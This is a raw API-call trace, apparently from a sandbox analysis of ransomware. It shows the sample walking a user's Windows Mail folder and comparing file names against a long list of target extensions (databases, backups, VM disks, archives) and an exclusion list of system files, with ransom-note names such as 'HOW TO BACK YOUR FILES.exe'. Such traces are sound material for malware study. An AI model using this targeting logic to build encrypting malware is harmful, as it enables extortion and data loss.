	[0045.695] lstrlenW (lpString="4dl") returned 3
	[0045.695] lstrcmpiW (lpString1="unt", lpString2="4dl") returned 1
	[0045.695] lstrlenW (lpString="^^^") returned 3
	[0045.695] lstrcmpiW (lpString1="unt", lpString2="^^^") returned 1
	[0045.695] lstrlenW (lpString="abs") returned 3
	[0045.695] lstrcmpiW (lpString1="unt", lpString2="abs") returned 1
	[0045.695] lstrlenW (lpString="abx") returned 3
	[0045.695] lstrcmpiW (lpString1="unt", lpString2="abx") returned 1
	[0045.695] lstrlenW (lpString="accdb") returned 5
	[0045.695] lstrcmpiW (lpString1="count", lpString2="accdb") returned 1
	[0045.695] lstrlenW (lpString="accdc") returned 5
	[0045.695] lstrcmpiW (lpString1="count", lpString2="accdc") returned 1
	[0045.695] lstrlenW (lpString="accde") returned 5
	[0045.695] lstrcmpiW (lpString1="count", lpString2="accde") returned 1
	[0045.695] lstrlenW (lpString="accdr") returned 5
	[0045.695] lstrcmpiW (lpString1="count", lpString2="accdr") returned 1
	[0045.695] lstrlenW (lpString="accdt") returned 5
	[0045.695] lstrcmpiW (lpString1="count", lpString2="accdt") returned 1
	[0045.696] lstrlenW (lpString="accdw") returned 5
	[0045.696] lstrcmpiW (lpString1="count", lpString2="accdw") returned 1
	[0045.696] lstrlenW (lpString="accft") returned 5
	[0045.696] lstrcmpiW (lpString1="count", lpString2="accft") returned 1
	[0045.696] lstrlenW (lpString="adb") returned 3
	[0045.696] lstrcmpiW (lpString1="unt", lpString2="adb") returned 1
	[0045.696] lstrlenW (lpString="adb") returned 3
	[0045.696] lstrcmpiW (lpString1="unt", lpString2="adb") returned 1
	[0045.696] lstrlenW (lpString="ade") returned 3
	[0045.696] lstrcmpiW (lpString1="unt", lpString2="ade") returned 1
	[0045.696] lstrlenW (lpString="adf") returned 3
	[0045.696] lstrcmpiW (lpString1="unt", lpString2="adf") returned 1
	[0045.696] lstrlenW (lpString="adn") returned 3
	[0045.696] lstrcmpiW (lpString1="unt", lpString2="adn") returned 1
	[0045.696] lstrlenW (lpString="adp") returned 3
	[0045.696] lstrcmpiW (lpString1="unt", lpString2="adp") returned 1
	[0045.696] lstrlenW (lpString="alf") returned 3
	[0045.696] lstrcmpiW (lpString1="unt", lpString2="alf") returned 1
	[0045.696] lstrlenW (lpString="ask") returned 3
	[0045.696] lstrcmpiW (lpString1="unt", lpString2="ask") returned 1
	[0045.696] lstrlenW (lpString="btr") returned 3
	[0045.696] lstrcmpiW (lpString1="unt", lpString2="btr") returned 1
	[0045.696] lstrlenW (lpString="cat") returned 3
	[0045.696] lstrcmpiW (lpString1="unt", lpString2="cat") returned 1
	[0045.696] lstrlenW (lpString="cdb") returned 3
	[0045.696] lstrcmpiW (lpString1="unt", lpString2="cdb") returned 1
	[0045.696] lstrlenW (lpString="ckp") returned 3
	[0045.696] lstrcmpiW (lpString1="unt", lpString2="ckp") returned 1
	[0045.696] lstrlenW (lpString="cma") returned 3
	[0045.696] lstrcmpiW (lpString1="unt", lpString2="cma") returned 1
	[0045.696] lstrlenW (lpString="cpd") returned 3
	[0045.696] lstrcmpiW (lpString1="unt", lpString2="cpd") returned 1
	[0045.696] lstrlenW (lpString="dacpac") returned 6
	[0045.696] lstrcmpiW (lpString1="ccount", lpString2="dacpac") returned -1
	[0045.697] lstrlenW (lpString="dad") returned 3
	[0045.697] lstrcmpiW (lpString1="unt", lpString2="dad") returned 1
	[0045.697] lstrlenW (lpString="dadiagrams") returned 10
	[0045.697] lstrcmpiW (lpString1=".oeaccount", lpString2="dadiagrams") returned -1
	[0045.697] lstrlenW (lpString="daschema") returned 8
	[0045.697] lstrcmpiW (lpString1="eaccount", lpString2="daschema") returned 1
	[0045.697] lstrlenW (lpString="db-journal") returned 10
	[0045.697] lstrcmpiW (lpString1=".oeaccount", lpString2="db-journal") returned -1
	[0045.697] lstrlenW (lpString="db-shm") returned 6
	[0045.697] lstrcmpiW (lpString1="ccount", lpString2="db-shm") returned -1
	[0045.697] lstrlenW (lpString="db-wal") returned 6
	[0045.697] lstrcmpiW (lpString1="ccount", lpString2="db-wal") returned -1
	[0045.697] lstrlenW (lpString="dbc") returned 3
	[0045.697] lstrcmpiW (lpString1="unt", lpString2="dbc") returned 1
	[0045.697] lstrlenW (lpString="dbs") returned 3
	[0045.697] lstrcmpiW (lpString1="unt", lpString2="dbs") returned 1
	[0045.697] lstrlenW (lpString="dbt") returned 3
	[0045.697] lstrcmpiW (lpString1="unt", lpString2="dbt") returned 1
	[0045.697] lstrlenW (lpString="dbv") returned 3
	[0045.697] lstrcmpiW (lpString1="unt", lpString2="dbv") returned 1
	[0045.697] lstrlenW (lpString="dbx") returned 3
	[0045.697] lstrcmpiW (lpString1="unt", lpString2="dbx") returned 1
	[0045.697] lstrlenW (lpString="dcb") returned 3
	[0045.697] lstrcmpiW (lpString1="unt", lpString2="dcb") returned 1
	[0045.697] lstrlenW (lpString="dct") returned 3
	[0045.697] lstrcmpiW (lpString1="unt", lpString2="dct") returned 1
	[0045.697] lstrlenW (lpString="dcx") returned 3
	[0045.697] lstrcmpiW (lpString1="unt", lpString2="dcx") returned 1
	[0045.697] lstrlenW (lpString="ddl") returned 3
	[0045.697] lstrcmpiW (lpString1="unt", lpString2="ddl") returned 1
	[0045.697] lstrlenW (lpString="dlis") returned 4
	[0045.697] lstrcmpiW (lpString1="ount", lpString2="dlis") returned 1
	[0045.697] lstrlenW (lpString="dp1") returned 3
	[0045.698] lstrcmpiW (lpString1="unt", lpString2="dp1") returned 1
	[0045.698] lstrlenW (lpString="dqy") returned 3
	[0045.698] lstrcmpiW (lpString1="unt", lpString2="dqy") returned 1
	[0045.698] lstrlenW (lpString="dsk") returned 3
	[0045.698] lstrcmpiW (lpString1="unt", lpString2="dsk") returned 1
	[0045.698] lstrlenW (lpString="dsn") returned 3
	[0045.698] lstrcmpiW (lpString1="unt", lpString2="dsn") returned 1
	[0045.698] lstrlenW (lpString="dtsx") returned 4
	[0045.698] lstrcmpiW (lpString1="ount", lpString2="dtsx") returned 1
	[0045.698] lstrlenW (lpString="dxl") returned 3
	[0045.698] lstrcmpiW (lpString1="unt", lpString2="dxl") returned 1
	[0045.698] lstrlenW (lpString="eco") returned 3
	[0045.698] lstrcmpiW (lpString1="unt", lpString2="eco") returned 1
	[0045.698] lstrlenW (lpString="ecx") returned 3
	[0045.698] lstrcmpiW (lpString1="unt", lpString2="ecx") returned 1
	[0045.698] lstrlenW (lpString="edb") returned 3
	[0045.698] lstrcmpiW (lpString1="unt", lpString2="edb") returned 1
	[0045.698] lstrlenW (lpString="epim") returned 4
	[0045.698] lstrcmpiW (lpString1="ount", lpString2="epim") returned 1
	[0045.698] lstrlenW (lpString="fcd") returned 3
	[0045.698] lstrcmpiW (lpString1="unt", lpString2="fcd") returned 1
	[0045.698] lstrlenW (lpString="fdb") returned 3
	[0045.698] lstrcmpiW (lpString1="unt", lpString2="fdb") returned 1
	[0045.698] lstrlenW (lpString="fic") returned 3
	[0045.698] lstrcmpiW (lpString1="unt", lpString2="fic") returned 1
	[0045.698] lstrlenW (lpString="flexolibrary") returned 12
	[0045.698] lstrcmpiW (lpString1="C}.oeaccount", lpString2="flexolibrary") returned -1
	[0045.698] lstrlenW (lpString="fm5") returned 3
	[0045.698] lstrcmpiW (lpString1="unt", lpString2="fm5") returned 1
	[0045.698] lstrlenW (lpString="fmp") returned 3
	[0045.698] lstrcmpiW (lpString1="unt", lpString2="fmp") returned 1
	[0045.698] lstrlenW (lpString="fmp12") returned 5
	[0045.698] lstrcmpiW (lpString1="count", lpString2="fmp12") returned -1
	[0045.698] lstrlenW (lpString="fmpsl") returned 5
	[0045.699] lstrcmpiW (lpString1="count", lpString2="fmpsl") returned -1
	[0045.699] lstrlenW (lpString="fol") returned 3
	[0045.699] lstrcmpiW (lpString1="unt", lpString2="fol") returned 1
	[0045.699] lstrlenW (lpString="fp3") returned 3
	[0045.699] lstrcmpiW (lpString1="unt", lpString2="fp3") returned 1
	[0045.699] lstrlenW (lpString="fp4") returned 3
	[0045.699] lstrcmpiW (lpString1="unt", lpString2="fp4") returned 1
	[0045.699] lstrlenW (lpString="fp5") returned 3
	[0045.699] lstrcmpiW (lpString1="unt", lpString2="fp5") returned 1
	[0045.699] lstrlenW (lpString="fp7") returned 3
	[0045.699] lstrcmpiW (lpString1="unt", lpString2="fp7") returned 1
	[0045.699] lstrlenW (lpString="fpt") returned 3
	[0045.699] lstrcmpiW (lpString1="unt", lpString2="fpt") returned 1
	[0045.699] lstrlenW (lpString="frm") returned 3
	[0045.699] lstrcmpiW (lpString1="unt", lpString2="frm") returned 1
	[0045.699] lstrlenW (lpString="gdb") returned 3
	[0045.699] lstrcmpiW (lpString1="unt", lpString2="gdb") returned 1
	[0045.699] lstrlenW (lpString="gdb") returned 3
	[0045.699] lstrcmpiW (lpString1="unt", lpString2="gdb") returned 1
	[0045.699] lstrlenW (lpString="grdb") returned 4
	[0045.699] lstrcmpiW (lpString1="ount", lpString2="grdb") returned 1
	[0045.699] lstrlenW (lpString="gwi") returned 3
	[0045.699] lstrcmpiW (lpString1="unt", lpString2="gwi") returned 1
	[0045.699] lstrlenW (lpString="hdb") returned 3
	[0045.699] lstrcmpiW (lpString1="unt", lpString2="hdb") returned 1
	[0045.699] lstrlenW (lpString="his") returned 3
	[0045.699] lstrcmpiW (lpString1="unt", lpString2="his") returned 1
	[0045.699] lstrlenW (lpString="ib") returned 2
	[0045.699] lstrcmpiW (lpString1="nt", lpString2="ib") returned 1
	[0045.699] lstrlenW (lpString="idb") returned 3
	[0045.699] lstrcmpiW (lpString1="unt", lpString2="idb") returned 1
	[0045.699] lstrlenW (lpString="ihx") returned 3
	[0045.699] lstrcmpiW (lpString1="unt", lpString2="ihx") returned 1
	[0045.699] lstrlenW (lpString="itdb") returned 4
	[0045.699] lstrcmpiW (lpString1="ount", lpString2="itdb") returned 1
	[0045.700] lstrlenW (lpString="itw") returned 3
	[0045.700] lstrcmpiW (lpString1="unt", lpString2="itw") returned 1
	[0045.700] lstrlenW (lpString="jet") returned 3
	[0045.700] lstrcmpiW (lpString1="unt", lpString2="jet") returned 1
	[0045.700] lstrlenW (lpString="jtx") returned 3
	[0045.700] lstrcmpiW (lpString1="unt", lpString2="jtx") returned 1
	[0045.700] lstrlenW (lpString="kdb") returned 3
	[0045.700] lstrcmpiW (lpString1="unt", lpString2="kdb") returned 1
	[0045.700] lstrlenW (lpString="kexi") returned 4
	[0045.700] lstrcmpiW (lpString1="ount", lpString2="kexi") returned 1
	[0045.700] lstrlenW (lpString="kexic") returned 5
	[0045.700] lstrcmpiW (lpString1="count", lpString2="kexic") returned -1
	[0045.700] lstrlenW (lpString="kexis") returned 5
	[0045.700] lstrcmpiW (lpString1="count", lpString2="kexis") returned -1
	[0045.700] lstrlenW (lpString="lgc") returned 3
	[0045.700] lstrcmpiW (lpString1="unt", lpString2="lgc") returned 1
	[0045.700] lstrlenW (lpString="lwx") returned 3
	[0045.700] lstrcmpiW (lpString1="unt", lpString2="lwx") returned 1
	[0045.700] lstrlenW (lpString="maf") returned 3
	[0045.700] lstrcmpiW (lpString1="unt", lpString2="maf") returned 1
	[0045.700] lstrlenW (lpString="maq") returned 3
	[0045.700] lstrcmpiW (lpString1="unt", lpString2="maq") returned 1
	[0045.700] lstrlenW (lpString="mar") returned 3
	[0045.700] lstrcmpiW (lpString1="unt", lpString2="mar") returned 1
	[0045.700] lstrlenW (lpString="marshal") returned 7
	[0045.700] lstrcmpiW (lpString1="account", lpString2="marshal") returned -1
	[0045.700] lstrlenW (lpString="mas") returned 3
	[0045.700] lstrcmpiW (lpString1="unt", lpString2="mas") returned 1
	[0045.700] lstrlenW (lpString="mav") returned 3
	[0045.700] lstrcmpiW (lpString1="unt", lpString2="mav") returned 1
	[0045.700] lstrlenW (lpString="maw") returned 3
	[0045.700] lstrcmpiW (lpString1="unt", lpString2="maw") returned 1
	[0045.700] lstrlenW (lpString="mdbhtml") returned 7
	[0045.700] lstrcmpiW (lpString1="account", lpString2="mdbhtml") returned -1
	[0045.700] lstrlenW (lpString="mdn") returned 3
	[0045.700] lstrcmpiW (lpString1="unt", lpString2="mdn") returned 1
	[0045.701] lstrlenW (lpString="mdt") returned 3
	[0045.701] lstrcmpiW (lpString1="unt", lpString2="mdt") returned 1
	[0045.701] lstrlenW (lpString="mfd") returned 3
	[0045.701] lstrcmpiW (lpString1="unt", lpString2="mfd") returned 1
	[0045.701] lstrlenW (lpString="mpd") returned 3
	[0045.701] lstrcmpiW (lpString1="unt", lpString2="mpd") returned 1
	[0045.701] lstrlenW (lpString="mrg") returned 3
	[0045.701] lstrcmpiW (lpString1="unt", lpString2="mrg") returned 1
	[0045.701] lstrlenW (lpString="mud") returned 3
	[0045.701] lstrcmpiW (lpString1="unt", lpString2="mud") returned 1
	[0045.701] lstrlenW (lpString="mwb") returned 3
	[0045.701] lstrcmpiW (lpString1="unt", lpString2="mwb") returned 1
	[0045.701] lstrlenW (lpString="myd") returned 3
	[0045.701] lstrcmpiW (lpString1="unt", lpString2="myd") returned 1
	[0045.701] lstrlenW (lpString="ndf") returned 3
	[0045.701] lstrcmpiW (lpString1="unt", lpString2="ndf") returned 1
	[0045.701] lstrlenW (lpString="nnt") returned 3
	[0045.701] lstrcmpiW (lpString1="unt", lpString2="nnt") returned 1
	[0045.701] lstrlenW (lpString="nrmlib") returned 6
	[0045.701] lstrcmpiW (lpString1="ccount", lpString2="nrmlib") returned -1
	[0045.701] lstrlenW (lpString="ns2") returned 3
	[0045.701] lstrcmpiW (lpString1="unt", lpString2="ns2") returned 1
	[0045.701] lstrlenW (lpString="ns3") returned 3
	[0045.701] lstrcmpiW (lpString1="unt", lpString2="ns3") returned 1
	[0045.701] lstrlenW (lpString="ns4") returned 3
	[0045.701] lstrcmpiW (lpString1="unt", lpString2="ns4") returned 1
	[0045.701] lstrlenW (lpString="nsf") returned 3
	[0045.701] lstrcmpiW (lpString1="unt", lpString2="nsf") returned 1
	[0045.701] lstrlenW (lpString="nv") returned 2
	[0045.701] lstrcmpiW (lpString1="nt", lpString2="nv") returned -1
	[0045.701] lstrlenW (lpString="nv2") returned 3
	[0045.701] lstrcmpiW (lpString1="unt", lpString2="nv2") returned 1
	[0045.701] lstrlenW (lpString="nwdb") returned 4
	[0045.701] lstrcmpiW (lpString1="ount", lpString2="nwdb") returned 1
	[0045.702] lstrlenW (lpString="nyf") returned 3
	[0045.702] lstrcmpiW (lpString1="unt", lpString2="nyf") returned 1
	[0045.702] lstrlenW (lpString="odb") returned 3
	[0045.702] lstrcmpiW (lpString1="unt", lpString2="odb") returned 1
	[0045.702] lstrlenW (lpString="odb") returned 3
	[0045.702] lstrcmpiW (lpString1="unt", lpString2="odb") returned 1
	[0045.702] lstrlenW (lpString="oqy") returned 3
	[0045.702] lstrcmpiW (lpString1="unt", lpString2="oqy") returned 1
	[0045.702] lstrlenW (lpString="ora") returned 3
	[0045.702] lstrcmpiW (lpString1="unt", lpString2="ora") returned 1
	[0045.702] lstrlenW (lpString="orx") returned 3
	[0045.702] lstrcmpiW (lpString1="unt", lpString2="orx") returned 1
	[0045.702] lstrlenW (lpString="owc") returned 3
	[0045.702] lstrcmpiW (lpString1="unt", lpString2="owc") returned 1
	[0045.702] lstrlenW (lpString="p96") returned 3
	[0045.702] lstrcmpiW (lpString1="unt", lpString2="p96") returned 1
	[0045.702] lstrlenW (lpString="p97") returned 3
	[0045.702] lstrcmpiW (lpString1="unt", lpString2="p97") returned 1
	[0045.702] lstrlenW (lpString="pan") returned 3
	[0045.702] lstrcmpiW (lpString1="unt", lpString2="pan") returned 1
	[0045.702] lstrlenW (lpString="pdb") returned 3
	[0045.702] lstrcmpiW (lpString1="unt", lpString2="pdb") returned 1
	[0045.702] lstrlenW (lpString="pdm") returned 3
	[0045.702] lstrcmpiW (lpString1="unt", lpString2="pdm") returned 1
	[0045.702] lstrlenW (lpString="pnz") returned 3
	[0045.702] lstrcmpiW (lpString1="unt", lpString2="pnz") returned 1
	[0045.702] lstrlenW (lpString="qry") returned 3
	[0045.702] lstrcmpiW (lpString1="unt", lpString2="qry") returned 1
	[0045.702] lstrlenW (lpString="qvd") returned 3
	[0045.702] lstrcmpiW (lpString1="unt", lpString2="qvd") returned 1
	[0045.702] lstrlenW (lpString="rbf") returned 3
	[0045.702] lstrcmpiW (lpString1="unt", lpString2="rbf") returned 1
	[0045.702] lstrlenW (lpString="rctd") returned 4
	[0045.702] lstrcmpiW (lpString1="ount", lpString2="rctd") returned -1
	[0045.703] lstrlenW (lpString="rod") returned 3
	[0045.703] lstrcmpiW (lpString1="unt", lpString2="rod") returned 1
	[0045.703] lstrlenW (lpString="rodx") returned 4
	[0045.703] lstrcmpiW (lpString1="ount", lpString2="rodx") returned -1
	[0045.703] lstrlenW (lpString="rpd") returned 3
	[0045.703] lstrcmpiW (lpString1="unt", lpString2="rpd") returned 1
	[0045.703] lstrlenW (lpString="rsd") returned 3
	[0045.703] lstrcmpiW (lpString1="unt", lpString2="rsd") returned 1
	[0045.703] lstrlenW (lpString="sas7bdat") returned 8
	[0045.703] lstrcmpiW (lpString1="eaccount", lpString2="sas7bdat") returned -1
	[0045.703] lstrlenW (lpString="sbf") returned 3
	[0045.703] lstrcmpiW (lpString1="unt", lpString2="sbf") returned 1
	[0045.703] lstrlenW (lpString="scx") returned 3
	[0045.703] lstrcmpiW (lpString1="unt", lpString2="scx") returned 1
	[0045.703] lstrlenW (lpString="sdb") returned 3
	[0045.703] lstrcmpiW (lpString1="unt", lpString2="sdb") returned 1
	[0045.703] lstrlenW (lpString="sdc") returned 3
	[0045.703] lstrcmpiW (lpString1="unt", lpString2="sdc") returned 1
	[0045.703] lstrlenW (lpString="sdf") returned 3
	[0045.703] lstrcmpiW (lpString1="unt", lpString2="sdf") returned 1
	[0045.703] lstrlenW (lpString="sis") returned 3
	[0045.703] lstrcmpiW (lpString1="unt", lpString2="sis") returned 1
	[0045.703] lstrlenW (lpString="spq") returned 3
	[0045.703] lstrcmpiW (lpString1="unt", lpString2="spq") returned 1
	[0045.703] lstrlenW (lpString="te") returned 2
	[0045.703] lstrcmpiW (lpString1="nt", lpString2="te") returned -1
	[0045.703] lstrlenW (lpString="teacher") returned 7
	[0045.703] lstrcmpiW (lpString1="account", lpString2="teacher") returned -1
	[0045.703] lstrlenW (lpString="tmd") returned 3
	[0045.703] lstrcmpiW (lpString1="unt", lpString2="tmd") returned 1
	[0045.703] lstrlenW (lpString="tps") returned 3
	[0045.703] lstrcmpiW (lpString1="unt", lpString2="tps") returned 1
	[0045.703] lstrlenW (lpString="trc") returned 3
	[0045.703] lstrcmpiW (lpString1="unt", lpString2="trc") returned 1
	[0045.703] lstrlenW (lpString="trc") returned 3
	[0045.704] lstrcmpiW (lpString1="unt", lpString2="trc") returned 1
	[0045.704] lstrlenW (lpString="trm") returned 3
	[0045.704] lstrcmpiW (lpString1="unt", lpString2="trm") returned 1
	[0045.704] lstrlenW (lpString="udb") returned 3
	[0045.704] lstrcmpiW (lpString1="unt", lpString2="udb") returned 1
	[0045.704] lstrlenW (lpString="udl") returned 3
	[0045.704] lstrcmpiW (lpString1="unt", lpString2="udl") returned 1
	[0045.704] lstrlenW (lpString="usr") returned 3
	[0045.704] lstrcmpiW (lpString1="unt", lpString2="usr") returned -1
	[0045.704] lstrlenW (lpString="v12") returned 3
	[0045.704] lstrcmpiW (lpString1="unt", lpString2="v12") returned -1
	[0045.704] lstrlenW (lpString="vis") returned 3
	[0045.704] lstrcmpiW (lpString1="unt", lpString2="vis") returned -1
	[0045.704] lstrlenW (lpString="vpd") returned 3
	[0045.704] lstrcmpiW (lpString1="unt", lpString2="vpd") returned -1
	[0045.704] lstrlenW (lpString="vvv") returned 3
	[0045.704] lstrcmpiW (lpString1="unt", lpString2="vvv") returned -1
	[0045.704] lstrlenW (lpString="wdb") returned 3
	[0045.704] lstrcmpiW (lpString1="unt", lpString2="wdb") returned -1
	[0045.704] lstrlenW (lpString="wmdb") returned 4
	[0045.704] lstrcmpiW (lpString1="ount", lpString2="wmdb") returned -1
	[0045.704] lstrlenW (lpString="wrk") returned 3
	[0045.704] lstrcmpiW (lpString1="unt", lpString2="wrk") returned -1
	[0045.704] lstrlenW (lpString="xdb") returned 3
	[0045.704] lstrcmpiW (lpString1="unt", lpString2="xdb") returned -1
	[0045.704] lstrlenW (lpString="xld") returned 3
	[0045.704] lstrcmpiW (lpString1="unt", lpString2="xld") returned -1
	[0045.704] lstrlenW (lpString="xmlff") returned 5
	[0045.704] lstrcmpiW (lpString1="count", lpString2="xmlff") returned -1
	[0045.704] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf657b4d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", cAlternateFileName="ACCOUN~2.OEA")) returned 1
	[0045.704] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.704] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="Apollon865.txt.exe") returned -1
	[0045.704] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2=".") returned 1
	[0045.704] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="..") returned 1
	[0045.704] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="windows") returned -1
	[0045.705] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="bootmgr") returned -1
	[0045.705] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="temp") returned -1
	[0045.705] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="pagefile.sys") returned -1
	[0045.705] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="boot") returned -1
	[0045.705] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="ids.txt") returned -1
	[0045.705] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="ntuser.dat") returned -1
	[0045.705] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="perflogs") returned -1
	[0045.705] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="MSBuild") returned -1
	[0045.705] lstrlenW (lpString="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 55
	[0045.705] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 122
	[0045.705] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" | out: lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount"
	[0045.705] lstrlenW (lpString="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 55
	[0045.705] lstrlenW (lpString="Apollon865") returned 10
	[0045.705] lstrcmpiW (lpString1=".oeaccount", lpString2="Apollon865") returned -1
	[0045.705] lstrlenW (lpString=".dll") returned 4
	[0045.705] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2=".dll") returned 1
	[0045.705] lstrlenW (lpString=".lnk") returned 4
	[0045.705] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2=".lnk") returned 1
	[0045.705] lstrlenW (lpString=".ini") returned 4
	[0045.705] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2=".ini") returned 1
	[0045.705] lstrlenW (lpString=".sys") returned 4
	[0045.705] lstrcmpiW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2=".sys") returned 1
	[0045.705] lstrlenW (lpString="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 55
	[0045.705] lstrlenW (lpString="bak") returned 3
	[0045.705] lstrcmpiW (lpString1="unt", lpString2="bak") returned 1
	[0045.705] lstrlenW (lpString="ba_") returned 3
	[0045.705] lstrcmpiW (lpString1="unt", lpString2="ba_") returned 1
	[0045.705] lstrlenW (lpString="dbb") returned 3
	[0045.705] lstrcmpiW (lpString1="unt", lpString2="dbb") returned 1
	[0045.705] lstrlenW (lpString="vmdk") returned 4
	[0045.705] lstrcmpiW (lpString1="ount", lpString2="vmdk") returned -1
	[0045.705] lstrlenW (lpString="rar") returned 3
	[0045.705] lstrcmpiW (lpString1="unt", lpString2="rar") returned 1
	[0045.706] lstrlenW (lpString="zip") returned 3
	[0045.706] lstrcmpiW (lpString1="unt", lpString2="zip") returned -1
	[0045.706] lstrlenW (lpString="tgz") returned 3
	[0045.706] lstrcmpiW (lpString1="unt", lpString2="tgz") returned 1
	[0045.706] lstrlenW (lpString="vbox") returned 4
	[0045.706] lstrcmpiW (lpString1="ount", lpString2="vbox") returned -1
	[0045.706] lstrlenW (lpString="vdi") returned 3
	[0045.706] lstrcmpiW (lpString1="unt", lpString2="vdi") returned -1
	[0045.706] lstrlenW (lpString="vhd") returned 3
	[0045.706] lstrcmpiW (lpString1="unt", lpString2="vhd") returned -1
	[0045.706] lstrlenW (lpString="vhdx") returned 4
	[0045.706] lstrcmpiW (lpString1="ount", lpString2="vhdx") returned -1
	[0045.706] lstrlenW (lpString="avhd") returned 4
	[0045.706] lstrcmpiW (lpString1="ount", lpString2="avhd") returned 1
	[0045.706] lstrlenW (lpString="db") returned 2
	[0045.706] lstrcmpiW (lpString1="nt", lpString2="db") returned 1
	[0045.706] lstrlenW (lpString="db2") returned 3
	[0045.706] lstrcmpiW (lpString1="unt", lpString2="db2") returned 1
	[0045.706] lstrlenW (lpString="db3") returned 3
	[0045.706] lstrcmpiW (lpString1="unt", lpString2="db3") returned 1
	[0045.706] lstrlenW (lpString="dbf") returned 3
	[0045.706] lstrcmpiW (lpString1="unt", lpString2="dbf") returned 1
	[0045.706] lstrlenW (lpString="mdf") returned 3
	[0045.706] lstrcmpiW (lpString1="unt", lpString2="mdf") returned 1
	[0045.706] lstrlenW (lpString="mdb") returned 3
	[0045.706] lstrcmpiW (lpString1="unt", lpString2="mdb") returned 1
	[0045.706] lstrlenW (lpString="sql") returned 3
	[0045.706] lstrcmpiW (lpString1="unt", lpString2="sql") returned 1
	[0045.706] lstrlenW (lpString="sqlite") returned 6
	[0045.706] lstrcmpiW (lpString1="ccount", lpString2="sqlite") returned -1
	[0045.706] lstrlenW (lpString="sqlite3") returned 7
	[0045.706] lstrcmpiW (lpString1="account", lpString2="sqlite3") returned -1
	[0045.706] lstrlenW (lpString="sqlitedb") returned 8
	[0045.706] lstrcmpiW (lpString1="eaccount", lpString2="sqlitedb") returned -1
	[0045.707] lstrlenW (lpString="xml") returned 3
	[0045.707] lstrcmpiW (lpString1="unt", lpString2="xml") returned -1
	[0045.707] lstrlenW (lpString="$er") returned 3
	[0045.707] lstrcmpiW (lpString1="unt", lpString2="$er") returned 1
	[0045.707] lstrlenW (lpString="4dd") returned 3
	[0045.707] lstrcmpiW (lpString1="unt", lpString2="4dd") returned 1
	[0045.707] lstrlenW (lpString="4dl") returned 3
	[0045.707] lstrcmpiW (lpString1="unt", lpString2="4dl") returned 1
	[0045.707] lstrlenW (lpString="^^^") returned 3
	[0045.707] lstrcmpiW (lpString1="unt", lpString2="^^^") returned 1
	[0045.707] lstrlenW (lpString="abs") returned 3
	[0045.707] lstrcmpiW (lpString1="unt", lpString2="abs") returned 1
	[0045.707] lstrlenW (lpString="abx") returned 3
	[0045.707] lstrcmpiW (lpString1="unt", lpString2="abx") returned 1
	[0045.707] lstrlenW (lpString="accdb") returned 5
	[0045.707] lstrcmpiW (lpString1="count", lpString2="accdb") returned 1
	[0045.707] lstrlenW (lpString="accdc") returned 5
	[0045.707] lstrcmpiW (lpString1="count", lpString2="accdc") returned 1
	[0045.707] lstrlenW (lpString="accde") returned 5
	[0045.707] lstrcmpiW (lpString1="count", lpString2="accde") returned 1
	[0045.707] lstrlenW (lpString="accdr") returned 5
	[0045.707] lstrcmpiW (lpString1="count", lpString2="accdr") returned 1
	[0045.707] lstrlenW (lpString="accdt") returned 5
	[0045.707] lstrcmpiW (lpString1="count", lpString2="accdt") returned 1
	[0045.707] lstrlenW (lpString="accdw") returned 5
	[0045.707] lstrcmpiW (lpString1="count", lpString2="accdw") returned 1
	[0045.707] lstrlenW (lpString="accft") returned 5
	[0045.707] lstrcmpiW (lpString1="count", lpString2="accft") returned 1
